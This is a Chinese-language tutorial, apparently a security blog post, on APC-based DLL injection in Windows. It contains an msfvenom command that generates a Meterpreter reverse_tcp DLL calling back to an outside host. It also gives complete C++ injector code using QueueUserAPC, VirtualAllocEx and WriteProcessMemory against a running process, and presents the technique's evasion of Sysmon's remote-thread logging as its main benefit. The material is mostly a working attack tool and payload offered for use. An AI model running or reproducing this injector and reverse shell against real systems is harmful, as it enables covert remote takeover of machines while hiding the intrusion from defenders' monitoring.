1. 概述
1.1 注入条件
1.必须是多线程环境下
2.注入的程序必须会调用上面的那些同步对象.
那么我们可以注入APC,注意下条件,也不是所有都能注入的.
注入方法的原理:
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
1.2 实现效果
正常进行DLL注入的话使用sysmon会产生id=8的CreateRemoteThread日志,但是使用APC注入的话却不会产生这种日志:
2. 实现
2.1 生成DLL文件
使用MSF生成dll文件,指定目标IP和目标端口
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=1234 -f dll > 1.dll
2.2 APC注入
#include<stdio.h>
#include<Windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
void GetErr() {
printf("Error:%d", GetLastError());
printf("\n");
exit(1);
}
int getprocess(WCHAR* processname) {
HANDLE data = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (data == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot failure");
GetErr();
}
else {
PROCESSENTRY32W pe = { sizeof(pe) };
printf("[*] CreateToolhelp32Snapshot Sucess\n");
for (bool dd = Process32FirstW(data, &pe); dd; dd = Process32NextW(data, &pe)) {
WCHAR* pname = pe.szExeFile;
int pid = pe.th32ProcessID;
if (wcscmp(processname, pname) == 0) {
WCHAR info[650] = TEXT("name:");
lstrcatW(info, pname);
lstrcatW(info, TEXT(" "));
wprintf(info);
wprintf(TEXT("pid:"));
printf("%d\n", pid);
return pid;
}
}
}
return 0;
}
BOOL apcinject(int pid, WCHAR* dll) {
HANDLE openprocess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (openprocess == 0) {
GetErr();
}
else {
printf("[*] OpenProcess Sucess\n");
}
LPVOID vt = VirtualAllocEx(openprocess, 0, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (vt == 0) {
printf("[-] VirtualAllocEx faliure\n");
GetErr();
}
else {
printf("[*] VirtualAllocEx Sucess\n");
}
SIZE_T dwRet;
bool write = WriteProcessMemory(openprocess, vt, dll, MAX_PATH, &dwRet);
if (write == 0) {
printf("[-] WriteProcessMemory faiure");
GetErr();
}
else {
printf("[*] WriteProcessMemory Sucess\n");
}
THREADENTRY32 te = { sizeof(te) };
HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (handleSnap == INVALID_HANDLE_VALUE)
{
printf("[-] CreateToolhelp32Snapshot faiure");
GetErr();
}
else {
printf("[*] CreateToolhelp32Snapshot Sucess\n");
/*
if (Thread32First(handleSnap, &te))
{
do {
if (te.th32OwnerProcessID == pid)
{
printf("%d\n", te.th32OwnerProcessID);
}
} while (Thread32Next(handleSnap, &te));
}
*/
for (bool td = Thread32First(handleSnap, &te); td; td = Thread32Next(handleSnap, &te)) {
if (te.th32OwnerProcessID == pid) {
int tid = te.th32ThreadID;
HANDLE openthread = OpenThread(THREAD_ALL_ACCESS, 0, tid);
if (openthread == 0) {
printf("[-] OpenThread faiure");
GetErr();
}
else {
printf("[*] OpenThread Sucess threadid:%d\n", tid);
DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, openthread, (ULONG_PTR)vt);
if (dwRet == 0) {
printf("[-] QueueUserAPC failure\n");
GetErr();
}
else {
printf("[+] APC Dll inject Sucess\n");
}
}
}
}
}
return true;
}
int main()
{
WCHAR* dll = TEXT("C:\\Users\\Administrator\\Desktop\\1.dll");
apcinject(13060, dll);
//13060为某个进程的PID,这里选择的为WechatBrowser.exe
system("pause");
return 0;
}
2.3 注入成功
2.4 注入效果-躲避sysmon监控
可以看到测试时的时间为21:22,但是过滤sysmon的日志却未发现这种类型的日志。
3. 参考
https://422926799.github.io/posts/c9faf9c0.html
https://qcsdn.com/article/174156.html
https://3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7